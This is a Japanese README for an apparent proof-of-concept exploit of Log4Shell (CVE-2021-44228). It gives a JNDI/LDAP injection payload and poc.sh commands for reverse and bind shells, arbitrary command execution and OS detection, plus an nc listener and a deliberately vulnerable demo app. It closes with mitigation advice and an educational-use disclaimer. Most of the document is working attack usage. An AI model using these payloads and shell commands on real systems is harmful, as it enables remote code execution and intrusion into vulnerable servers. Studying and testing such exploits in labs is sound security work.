
CVE-2021-44228(Log4Shell)の概念実証エクスプロイト。HTTPおよびLDAPサーバーを備え、リバース/バインドシェル、RCE、時間ベースの検出を教育用にサポートします。
CVE-2021-44228 の PoC。
このプロジェクトは教育目的のみで作成されました。
このプロジェクトは、http サーバーと ldap サーバーの 2 つを作成します。両方ともエクスプロイトが動作するために必要です。指定された Java ファイルがコンパイルされ、Dockerfile 内でサーバーが起動されます。ペイロードはユーザーに表示され、脆弱なアプリケーションに渡す必要があります。
ペイロードの例:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
プログラムを 25 秒間スリープさせます
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
OS 検出では 4 文字が返される可能性があります:
L は LinuxW は WindowsM は MacOSU は不明バイパス手法が公開されました。例はこちら
このアプリは、動作の仕組みを示すために設計されました。アプリで jar をビルドして実行するには、次を使用します:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
ここで PAYLOAD は ./poc.sh スクリプトから返されます(例: ${jndi:ldap://127.0.0.1:1389/1})。
このエクスプロイトの作成中に使用されたプロジェクトとウェブサイトへの謝辞:
log4j2.formatMsgNoLookups を true に設定して log4j を使用するアプリを起動するか、log4j-2.15.0-rc1 以降にアップデートしてください。アップデートは実際にリリースされています。できるだけ早く適用してください。
このプロジェクトは教育目的のみで使用できます。事前の許可なく対象システムに対してこのソフトウェアを使用することは違法であり、このソフトウェアの誤用によるいかなる損害も作者の責任ではありません。